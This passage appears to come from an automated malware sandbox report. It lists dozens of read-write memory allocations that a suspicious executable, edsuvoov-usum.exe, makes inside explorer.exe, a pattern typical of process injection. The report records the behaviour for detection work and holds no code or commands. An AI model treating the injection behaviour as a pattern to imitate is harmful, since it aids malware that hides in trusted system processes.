Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BE20000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BE30000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: C8C0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: C8D0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BD50000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BD60000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BDA0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BDB0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: BDC0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: C8E0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: C8F0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: C900000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: C910000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: C920000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: C930000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: C940000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: C950000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: C960000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: C970000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: C980000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: C990000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: C9A0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: C9B0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E4C0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E4D0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E840000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E850000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E860000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E870000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E880000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E890000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E8A0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E8B0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E8C0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E8D0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E8E0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E8F0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E900000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E910000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E920000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E930000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E940000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E950000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E960000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E970000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E980000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E990000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E9A0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E9B0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E9C0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E9D0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 83F0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 9340000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E9E0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: E9F0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EA00000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EA10000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EA20000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EA30000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EA40000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EA50000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EA60000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EA70000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EA80000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EA90000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EAA0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EAB0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EAC0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EAD0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EAE0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EAF0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EB00000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EB10000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EB20000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EB30000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EB40000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EB50000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EB60000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EB70000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EB80000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EB90000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EBA0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EBB0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EBC0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EBD0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EBE0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EBF0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EC00000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EC10000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EC20000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EC30000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EC40000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EC50000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EC60000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EC70000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EC80000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EC90000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: ECA0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: ECB0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: ECC0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: ECD0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: ECE0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: ECF0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: ED00000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: ED10000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: ED20000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: ED30000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: ED40000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: ED50000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: ED60000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: ED70000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: ED80000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: ED90000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EDA0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EDE0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: EDF0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: FEC0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: FED0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: FEE0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: FEF0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: FF00000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: FF10000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: FF20000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: FF30000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: FF40000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: FF50000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: FF60000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: FF70000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: FF80000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: FF90000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: FFA0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: FFB0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: FFC0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: FFD0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: FFE0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: FFF0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10000000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10010000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10020000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10030000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10040000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10050000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10060000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10070000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10080000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10090000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 100A0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 100B0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 100C0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 100D0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 100E0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 100F0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10100000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10110000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10120000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10130000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10140000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10150000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10160000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10170000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10180000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10190000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 101A0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 101B0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 101C0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 101D0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 101E0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 101F0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10200000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10210000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10220000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10230000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10240000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10250000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10260000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10270000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10280000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10290000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 102A0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 102B0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 102C0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 102D0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 102E0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 102F0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10300000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10310000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10320000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10330000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10340000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10350000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10360000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10370000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10380000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10390000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 103A0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 103B0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 103C0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 103D0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 103E0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 103F0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10400000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10410000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10420000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10430000 protect: page read and write	Jump to behavior
